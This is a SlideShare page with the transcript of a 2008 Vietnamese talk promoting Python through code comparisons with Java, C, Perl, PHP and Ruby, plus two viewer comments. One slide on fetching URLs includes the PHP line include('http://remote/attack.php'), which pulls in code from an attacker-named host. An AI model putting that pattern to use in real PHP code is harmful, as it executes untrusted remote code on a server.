• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Python for the rest of life
 

Python for the rest of life

on

  • 6,274 views

Presentation from Nam Nguyen Bluemoon at BarCampSaigon 1, comparing Python with other programming languages.

Presentation from Nam Nguyen Bluemoon at BarCampSaigon 1, comparing Python with other programming languages.

Statistics

Views

Total Views
6,274
Views on SlideShare
6,259
Embed Views
15

Actions

Likes
16
Downloads
386
Comments
2

2 Embeds 15

http://www.slideshare.net 11
https://twitter.com 4

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel

12 of 2 previous next

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
  • SLIDE: Vài slide đầu dịch khó hiểu, không sát nghĩa
    SLIDE 5: Chương trình viết ra cho người đọc, nhưng bản thân người đọc thấy rất khó hiểu vì sử dụng ký tự đặc biệt và rule :)
    SLIDE 13: Thể hiện sự thiếu hiểu biết của tác giả về java
    SLIDE 19: Thấy ngôn ngữ Ruby và PHP dễ hiểu và đơn giản hơn

    Nói chung slide quá thiếu thông tin và không thuyết phục!
    Are you sure you want to
    Your message goes here
    Processing…
  • Love Python!
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Python for the rest of life Python for the rest of life Presentation Transcript

    • Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
    • Nội dung
      • Kinh nghiệm bản thân
      • Giới thiệu Python
      • Nguyên lý căn bản của Python
      • So sánh với ngôn ngữ khác
      • Giới thiệu Vithon
      • Hỏi và cùng trả lời
    • Kinh nghiệm bản thân
      • Biết đến Python từ 2003
      • Học trong 5 tiếng
      • Sử dụng hàng ngày cho đến tận bây giờ
      • Sáu từ để diễn đạt: Học 5 tiếng, dùng suốt đời!
      • Gặp nhiều khó khăn trong việc soạn slide
      • Gần quên Java và C/C++
      • Đã quên sạch Perl, PHP và Ruby
    • Giới thiệu Python
      • Ra đời năm 1991
      • Tác giả Guido Van Rossum, Hà Lan
      • Là ngôn ngữ lập trình
        • Tổng quát
        • Kịch bản (scripting)
        • Kiểu vịt (duck typing)
        • Kiểu động (dynamic typing)
        • Nhưng có kiểu (strongly typed)
      • Kèm sẵn pin (Battery included)
    • Nguyên lý căn bản của Python
      • Ưu tiên cho việc đọc lại code
        • Khoảng trắng bắt buộc
        • Hạn chế sử dụng ký tự đặc biệt
        • Chương trình phải được viết ra để cho người đọc, và chỉ là sự trùng hợp để máy tính thực thi ( Abelson & Sussman , MIT)
      • Sự đơn giản được xem trọng
        • Đã có while , nên bỏ do - while
        • Đã có elif , nên bỏ switch - case
    • Nguyên lý căn bản của Python
      • Ngôn ngữ khác có hộp, Python có thẻ
      a = 1 b = a a = 2 Python (tên) Ngôn ngữ khác (biến)
    • Nguyên lý căn bản của Python
      • Kiểu cơ bản: int, long, float, dãy (sequence), từ điển (dictionary)
        • A = 123 # int
        • B = 123456789123456789 # long
        • C = 123.456 # float
        • D = (1, 2, 3) # tuple
        • E = [1, 2, 3] # list
        • F = “12345” # string
        • G = { 1 : ‘abc’, 2 : “def” } # dictionary
    • Nguyên lý căn bản của Python
      • Cấu trúc lặp và điều khiển
        • if/elif/else
        • while
        • for
      • Xử lý biệt lệ
        • try/except
        • try/finally
        • try/except/else
        • try/except/finally (Python 2.5+)
    • Nguyên lý căn bản của Python
      • Khai báo hàm bằng def
      • Khai báo lớp bằng class
      • Đa kế thừa (multiple inheritance)
      • Tất cả mọi đối tượng (gói, mô-đun, lớp, hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng
      • Và chỉ đơn giản như thế thôi!
      • Perl
      • ~!@#$%^&*()
      • Ruby
      • ~!@#$%^&*()
      • Python
      • ~%^&*()
      So sánh với ngôn ngữ khác Tính dễ đọc
      • C
      • int a, b, t;
      • t = a;
      • a = b;
      • b = t;
      • Python
      • a, b = b, a
      • a, b, c=b, c, a
      So sánh với ngôn ngữ khác Hoán vị 2 số
      • Java
      • BigInteger a, b, c;
      • a = new BigInteger(“12345678901234567890”);
      • b = new BigInteger(“12345678901234567890”);
      • c = a.multiply(b);
      • Python
      • a = 12345678901234567890
      • b = 12345678901234567890
      • c = a * b
      So sánh với ngôn ngữ khác Tính toán số lớn
      • Java
      • System.out.print(a[0]);
      • for (int i = 1; i < a.length; i++) {
      • System.out.print(“ “ + a[i]);
      • }
      • Python
      • print “ “.join(a)
      So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
      • Java
      • System.out.print(a[0]);
      • for (int i = 1; i < a.length - 1; i++) {
      • System.out.print(“ “ + a[i]);
      • }
      • System.out.print(“ va “ + a[a.length – 1]);
      • Python
      • print “ “.join(a[:-1]), “va”, a[-1]
      So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
      • Java
      • // too many lines
      • // to show
      • // here
      • Python
      • f = open(filename, “rb”)
      • d = f.read()
      • f.close()
      So sánh với ngôn ngữ khác Đọc file
      • Perl
      • open(DATA, “filename”);
      • while ($line = <DATA>){
      • print $line;
      • }
      • close(DATA);
      • Python
      • f = open(filename, “r”)
      • for line in f:
      • print line
      • f.close()
      So sánh với ngôn ngữ khác Đọc từng dòng
      • Java
      • for (int i=0; i < a.length; i++) {
      • if (a[i] % 2 == 0)
      • b.add(a[i]);
      • }
      • Python
      • b = [x for x in a if (x % 2) == 0]
      So sánh với ngôn ngữ khác Lọc phần tử trong mảng
      • PHP
      • $file = fopen(“http://www.google.com”);
      • Python
      • import urllib2
      • r = urllib2.urlopen(“http://www.google.com”)
      So sánh với ngôn ngữ khác Lấy file từ URL include(“http://remote/attack.php”);
      • PHP
      • strrev(“abc”);
      • Ruby
      • “ abc”.reverse
      • Python
      • “ abc”[::-1] # cba
      So sánh với ngôn ngữ khác Đảo chuỗi
      • PHP
      • gzdeflate(base64_decode(base64_encode(gzcompress(“abc”))))
      • Python
      • “ abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”)
      So sánh với ngôn ngữ khác Chuyển mã
      • PHP
      • N/A
      • Python
      • Ví dụ chương trình cờ tướng sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ.
      So sánh với ngôn ngữ khác Ứng dụng web
    • Giới thiệu Vithon
      • Vietnamese Python
      • Python cho người Việt
      • Do người yêu thích Python
      • Cho người yêu thích Python
      • Tài liệu, diễn đàn, dự án, bài viết, bài dịch
      • Hãy cùng tham gia
      • http://www.vithon.org
      • Python là số một nha!
    • Cảm ơn
      • Life is short, use Python!
      • Python cho phần đời còn lại!
      • Nguyễn Thành Nam
      • [email_address]
    • Hỏi và cùng trả lời